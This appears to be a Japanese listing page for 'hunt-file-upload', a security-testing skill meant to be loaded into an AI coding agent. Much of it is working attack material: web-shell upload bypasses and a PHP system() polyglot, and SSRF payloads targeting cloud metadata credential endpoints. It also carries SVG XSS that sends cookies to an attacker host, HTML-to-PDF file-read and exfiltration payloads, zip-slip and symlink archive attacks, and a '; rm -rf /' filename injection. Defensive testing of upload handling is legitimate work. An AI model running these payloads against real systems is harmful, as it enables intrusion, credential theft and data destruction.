hunt-file-upload について
hunt-file-uploadは、ファイルアップロード機能を評価するセキュリティテスト用スキルです。バイパス手法、ファイル処理への攻撃、検証方法を整理し、セキュリティ研究者を支援します。
主な機能
- 01拡張子、MIME、マジックバイトの検査
- 02SVG、Office、アーカイブへの攻撃パターン
- 03ImageMagick、FFmpeg、PDFのSSRF事例
- 04アップロード脆弱性の検証と注意点
活用シーン
- 01サーバー側アップロード検証の評価
- 02画像・文書処理パイプラインのテスト
- 03アーカイブ展開時のパストラバーサル確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-file-uploadインストール後、Claude Code で/hunt-file-uploadを入力して読み込まれたか確認します。
詳細
Content-Type と拡張子のバイパス
Content-Type のバイパス
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
ファイルアップロードのバイパス手法(10 種類)
| 攻撃 | 方法 | 防止策 |
|---|---|---|
| 拡張子のバイパス | shell.php.jpg、shell.pHp、shell.php5 | 許可リストを使用し、最後の拡張子を抽出する |
| ヌルバイト | shell.php%00.jpg | ヌルバイトをサニタイズする |
| 二重拡張子 | shell.jpg.php | 拡張子を 1 つだけ許可する |
| MIME スプーフィング | .php の本文に対して Content-Type: image/jpeg を指定する | MIME ヘッダーではなくマジックバイトを検証する |
| マジックバイトのプレフィックス | PHP コードの先頭に GIF89a; を付加する | ヘッダーだけでなくファイル全体を解析する |
| ポリグロット | JPEG と PHP の両方として有効 | 画像ライブラリで処理し、無効な場合は拒否する |
| SVG JavaScript | <svg onload="..."> | SVG をサニタイズするか、完全に禁止する |
| DOCX 内の XXE | Office ZIP 内の悪意のある XML | 外部エンティティを無効にする |
| ZIP スリップ | アーカイブ内の ../../../etc/passwd | 展開先のパスを検証する |
| ファイル名インジェクション | ファイル名に ; rm -rf / を指定する | サニタイズし、UUID のファイル名を使用する |
マジックバイトのリファレンス
| 種類 | 16 進数 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
SVG を介した保存型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg の悪用
ImageMagick の SSRF / ファイル読み取り(ImageTragick 系および最新の亜種)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
HLS プレイリストを介した FFmpeg の SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
ヘッドレス Chrome / PDF 生成ツールの SSRF
HTML → PDF コンバーターへの攻撃
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
アーカイブ展開攻撃(Zip Slip / シンボリックリンク)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
検証
ファイルアップロードの調査準備が整っていることを確認するため、このセルフテストを実行します。
-
スキルの完全性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
Pitfalls セクション — Pitfalls が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用する準備ができていることを確認します。
Pitfalls
- 実行を伴わないアップロード —
.phpファイルを、テキストとして配信するディレクトリにアップロードしても、RCE にはなりません。必要なのはコードの実行であり、単なるファイルの保存ではありません。 - 同一オリジンでのレンダリングを伴わない SVG XSS — 別のオリジンにアップロードされた SVG は、CSP や同一オリジンポリシーによってスクリプトが実行されない場合があります。実際のレンダリング環境でテストしてください。
- サーバー側の検証を伴わない拡張子ブラックリストのバイパス — クライアント側の拡張子チェックを回避しても、何の証明にもなりません。必ずサーバー側で受け入れられることをテストしてください。
- Content-Type のスプーフィング — Content-Type ヘッダーを変更しても、サーバーによるファイルの処理方法は変わりません。サーバー側で MIME の混同が起きることを確認する必要があります。
- ファイル名のパストラバーサル — ファイル名に
../../../etc/passwdを指定するのはパストラバーサルであり、アップロードの悪用ではありません。この 2 つを区別してください。
関連するスキルとチェーン
hunt-rce— 従来の PHP/JSP/ASPX スタックでは、直接配信されるアップロードディレクトリや、デシリアライザーに渡されるプロセッサーを見つけると、ファイルアップロードが RCE の最も一般的な経路になります。チェーンのプリミティブ:ポリグロットGIF89a;<?php system($_GET['c']);?>でマジックバイトチェックを回避し、.phtml拡張子で許可リストを回避 →GET /uploads/shell.phtml?c=id→ RCE。または、攻撃者が制御するパスに対してfile_exists()を呼び出すシンクに PHPphar://をアップロード → PHP オブジェクトのデシリアライズ → RCE。hunt-xxe— Office 形式(DOCX/XLSX/PPTX)、SVG、SOAP 添付ファイルは、ZIP 内の XML です。アップロードして解析する機能はすべて、XXE の潜在的な候補です。チェーンのプリミティブ:[Content_Types].xmlまたはword/document.xmlに、攻撃者が制御する DTD を参照するパラメーターエンティティ DTD を含む DOCX をアップロード → ブラインド XXE による OOB ファイル読み取り → ドキュメントパーサー経由で/etc/passwdまたはweb.configを流出させる。hunt-xss— アップロード後に同一オリジンで配信される SVG、HTML ファイル、PDF は、格納型 XSS の温床になります。チェーンのプリミティブ:<script>fetch('//attacker/?'+document.cookie)</script>を含む SVG をアップロード → 被害者が添付ファイルapp.target.com/uploads/x.svgを閲覧(同一オリジンで、サンドボックス化されていない)→ Cookie 窃取 → セッションハイジャックによる ATO。hunt-ssrf— 画像処理ライブラリ(ImageMagick、ffmpeg)は、アップロードされたファイル内のリモート URL を取得します。チェーンのプリミティブ:<image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">を含む SVG/MVG、または ffmpegconcat:http://internal/...をアップロード → AWS IMDS への SSRF → クラウド認証情報の窃取。ImageTragick CVE-2016-3714 系の脆弱性は、レガシー環境で今なお利用可能です。security-arsenal— ファイルアップロードのバイパスツリーを活用してください。拡張子/MIME/マジックバイトのバイパステーブル(10 行:二重拡張子、ヌルバイト、大文字小文字のバリエーション、.phtml/.phar/.php5/.pht、ハンドラーを再有効化するための.htaccessのアップロード、IIS でのweb.configのアップロード)、SVG/MVG/SVGZ のペイロード、DOCX-XXE テンプレート、アーカイブ内の ZIP Slip パストラバーサル、ポリグロット生成ツール。triage-validation— 再現性ゲートを適用してください。ファイルが正常にアップロードされても、配信も実行も解析もされなければ、発見事項ではなく、書き込み専用のデータにすぎません。クリティカルな RCE を実証するには、アップロードしたシェルでwhoamiの往復結果を実際に確認する必要があります。格納型 XSS を実証するには、ファイルがディスク上に存在するだけではなく、被害者のブラウザーでポップアップが表示される必要があります。
フェーズ X — 処理の競合と CDN キャッシュポイズニング
処理の競合:無害なファイルをアップロード → プロセッサーの検証に成功 → 配信前に攻撃者が悪意のあるファイルで上書きします。
アップロードヘッダーによる CDN キャッシュポイズニング:アップロードした画像に対して Cache-Control: public, max-age=31536000 と Content-Type: text/html を強制します。
Zip Slip:../../../var/www/html/shell.php のパストラバーサルエントリーを含むアーカイブを作成します。
コメント
Markdown 対応